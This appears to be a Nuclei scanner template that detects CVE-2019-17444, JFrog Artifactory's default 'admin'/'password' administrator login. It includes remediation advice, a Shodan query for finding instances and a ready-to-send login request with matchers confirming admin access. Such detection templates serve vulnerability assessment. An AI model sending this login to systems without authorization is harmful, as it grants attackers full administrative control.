id: CVE-2019-17444

info:
  name: Jfrog Artifactory <6.17.0 - Default Admin Password
  author: pdteam
  severity: critical
  description: |
    Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory.
  impact: |
    An attacker can gain unauthorized access to the Jfrog Artifactory instance.
  remediation: |
    Upgrade Jfrog Artifactory to version 6.17.0 or later and change the default admin password to a strong, unique one.
  reference:
    - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes
    - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17444
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17444
    cwe-id: CWE-521
    epss-score: 0.69445
    epss-percentile: 0.99274
    cpe: cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: jfrog
    product: artifactory
    framework: "-"
    shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory"
  tags: cve,cve2019,jfrog,default-login,vuln

http:
  - raw:
      - |
        POST {{path}}/ui/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}

        {"user":"admin","password":"password","type":"login"}

    attack: clusterbomb
    payloads:
      path:
        - ""
        - "/artifactory"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name":"admin"'
          - '"admin":true'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dae0df1e652eb8edde171b44286631ef43a60f8ecc6700f8137642531f93102c0221008a28197660bb7524e63fcebdc9979d2a19db1c0259886de760d2eddf726da22a:922c64590222798bb761d5b6d8e72950